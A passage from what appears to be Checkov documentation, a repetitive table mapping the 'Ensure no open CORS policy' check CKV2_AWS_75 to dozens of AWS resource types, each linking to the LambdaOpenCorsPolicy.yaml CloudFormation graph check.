aws_ec2_transit_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 689 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_connect | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 690 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_connect_peer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 691 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_default_route_table_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 692 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_default_route_table_propagation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 693 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 694 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_domain_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 695 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_group_member | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 696 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_group_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 697 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_peering_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 698 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_peering_attachment_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 699 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_policy_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 700 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_policy_table_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 701 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_prefix_list_reference | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 702 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 703 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 704 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 705 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table_propagation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 706 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_vpc_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 707 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_vpc_attachment_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 708 | CKV2_AWS_75 | resource | aws_ecr_account_setting | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 709 | CKV2_AWS_75 | resource | aws_ecr_lifecycle_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 710 | CKV2_AWS_75 | resource | aws_ecr_pull_through_cache_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 711 | CKV2_AWS_75 | resource | aws_ecr_registry_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 712 | CKV2_AWS_75 | resource | aws_ecr_registry_scanning_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 713 | CKV2_AWS_75 | resource | aws_ecr_replication_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 714 | CKV2_AWS_75 | resource | aws_ecr_repository | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 715 | CKV2_AWS_75 | resource | aws_ecr_repository_creation_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 716 | CKV2_AWS_75 | resource | aws_ecr_repository_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 717 | CKV2_AWS_75 | resource | aws_ecrpublic_repository | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 718 | CKV2_AWS_75 | resource | aws_ecrpublic_repository_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 719 | CKV2_AWS_75 | resource | aws_ecs_account_setting_default | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 720 | CKV2_AWS_75 | resource | aws_ecs_capacity_provider | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 721 | CKV2_AWS_75 | resource | aws_ecs_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 722 | CKV2_AWS_75 | resource | aws_ecs_cluster_capacity_providers | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 723 | CKV2_AWS_75 | resource | aws_ecs_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 724 | CKV2_AWS_75 | resource | aws_ecs_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 725 | CKV2_AWS_75 | resource | aws_ecs_task_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 726 | CKV2_AWS_75 | resource | aws_ecs_task_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 727 | CKV2_AWS_75 | resource | aws_efs_access_point | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 728 | CKV2_AWS_75 | resource | aws_efs_backup_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 729 | CKV2_AWS_75 | resource | aws_efs_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 730 | CKV2_AWS_75 | resource | aws_efs_file_system_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 731 | CKV2_AWS_75 | resource | aws_efs_mount_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 732 | CKV2_AWS_75 | resource | aws_efs_replication_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 733 | CKV2_AWS_75 | resource | aws_egress_only_internet_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 734 | CKV2_AWS_75 | resource | aws_eip | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 735 | CKV2_AWS_75 | resource | aws_eip_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 736 | CKV2_AWS_75 | resource | aws_eip_domain_name | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 737 | CKV2_AWS_75 | resource | aws_eks_access_entry | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 738 | CKV2_AWS_75 | resource | aws_eks_access_policy_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 739 | CKV2_AWS_75 | resource | aws_eks_addon | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 740 | CKV2_AWS_75 | resource | aws_eks_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 741 | CKV2_AWS_75 | resource | aws_eks_fargate_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 742 | CKV2_AWS_75 | resource | aws_eks_identity_provider_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 743 | CKV2_AWS_75 | resource | aws_eks_node_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 744 | CKV2_AWS_75 | resource | aws_eks_pod_identity_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 745 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 746 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_application_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 747 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_configuration_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 748 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 749 | CKV2_AWS_75 | resource | aws_elasticache_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 750 | CKV2_AWS_75 | resource | aws_elasticache_global_replication_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 751 | CKV2_AWS_75 | resource | aws_elasticache_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 752 | CKV2_AWS_75 | resource | aws_elasticache_replication_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 753 | CKV2_AWS_75 | resource | aws_elasticache_reserved_cache_node | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 754 | CKV2_AWS_75 | resource | aws_elasticache_security_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 755 | CKV2_AWS_75 | resource | aws_elasticache_serverless_cache | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 756 | CKV2_AWS_75 | resource | aws_elasticache_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 757 | CKV2_AWS_75 | resource | aws_elasticache_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 758 | CKV2_AWS_75 | resource | aws_elasticache_user_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 759 | CKV2_AWS_75 | resource | aws_elasticache_user_group_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 760 | CKV2_AWS_75 | resource | aws_elasticsearch_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 761 | CKV2_AWS_75 | resource | aws_elasticsearch_domain_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 762 | CKV2_AWS_75 | resource | aws_elasticsearch_domain_saml_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 763 | CKV2_AWS_75 | resource | aws_elasticsearch_vpc_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 764 | CKV2_AWS_75 | resource | aws_elastictranscoder_pipeline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 765 | CKV2_AWS_75 | resource | aws_elastictranscoder_preset | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 766 | CKV2_AWS_75 | resource | aws_elb | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 767 | CKV2_AWS_75 | resource | aws_elb_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 768 | CKV2_AWS_75 | resource | aws_emr_block_public_access_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 769 | CKV2_AWS_75 | resource | aws_emr_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 770 | CKV2_AWS_75 | resource | aws_emr_instance_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 771 | CKV2_AWS_75 | resource | aws_emr_instance_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 772 | CKV2_AWS_75 | resource | aws_emr_managed_scaling_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 773 | CKV2_AWS_75 | resource | aws_emr_security_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 774 | CKV2_AWS_75 | resource | aws_emr_studio | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 775 | CKV2_AWS_75 | resource | aws_emr_studio_session_mapping | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 776 | CKV2_AWS_75 | resource | aws_emrcontainers_job_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 777 | CKV2_AWS_75 | resource | aws_emrcontainers_virtual_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 778 | CKV2_AWS_75 | resource | aws_emrserverless_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 779 | CKV2_AWS_75 | resource | aws_evidently_feature | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 780 | CKV2_AWS_75 | resource | aws_evidently_launch | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 781 | CKV2_AWS_75 | resource | aws_evidently_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 782 | CKV2_AWS_75 | resource | aws_evidently_segment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 783 | CKV2_AWS_75 | resource | aws_finspace_kx_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 784 | CKV2_AWS_75 | resource | aws_finspace_kx_database | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 785 | CKV2_AWS_75 | resource | aws_finspace_kx_dataview | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 786 | CKV2_AWS_75 | resource | aws_finspace_kx_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 787 | CKV2_AWS_75 | resource | aws_finspace_kx_scaling_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 788 | CKV2_AWS_75 | resource | aws_finspace_kx_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 789 | CKV2_AWS_75 | resource | aws_finspace_kx_volume | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 790 | CKV2_AWS_75 | resource | aws_fis_experiment_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 791 | CKV2_AWS_75 | resource | aws_flow_log | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 792 | CKV2_AWS_75 | resource | aws_fms_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 793 | CKV2_AWS_75 | resource | aws_fms_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 794 | CKV2_AWS_75 | resource | aws_fms_resource_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 795 | CKV2_AWS_75 | resource | aws_fsx_backup | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 796 | CKV2_AWS_75 | resource | aws_fsx_data_repository_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 797 | CKV2_AWS_75 | resource | aws_fsx_file_cache | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 798 | CKV2_AWS_75 | resource | aws_fsx_lustre_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 799 